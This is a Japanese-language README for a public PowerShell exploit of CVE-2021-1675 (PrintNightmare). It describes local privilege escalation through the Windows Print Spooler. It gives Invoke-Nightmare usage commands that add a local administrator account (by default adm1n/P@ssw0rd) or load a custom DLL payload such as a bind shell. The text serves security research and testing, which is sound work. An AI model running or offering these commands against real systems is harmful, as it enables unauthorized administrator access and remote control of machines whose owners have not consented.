
CVE-2021-1675(PrintNightmare)のPowerShellエクスプロイト。Print Spoolerを介してローカル権限昇格を実行し、カスタムDLLペイロードを注入してローカル管理者ユーザーを追加します。
Caleb Stewart | John Hammond | 2021年6月1日
CVE-2021-1675 は、「PrintNightmare」と呼ばれる重大なリモートコード実行およびローカル権限昇格の脆弱性です。
リモートコード実行機能に対する概念実証エクスプロイトが公開されています(Python、C++)。また、ローカル権限昇格用の C# 版 も公開されています。純粋なPowerShellによるネイティブ実装は見当たらなかったため、このエクスプロイトを改良・再構築してみることにしました。
このPowerShellスクリプトは、PrintNightmare攻撃手法を使用してローカル権限昇格(LPE)を実行します。

Windows Server 2016およびWindows Server 2019でテスト済みです。
デフォルトでは、ローカル管理者グループに新しいユーザーを追加します:
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
任意の処理を行うために、カスタムDLLペイロードを指定します。
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"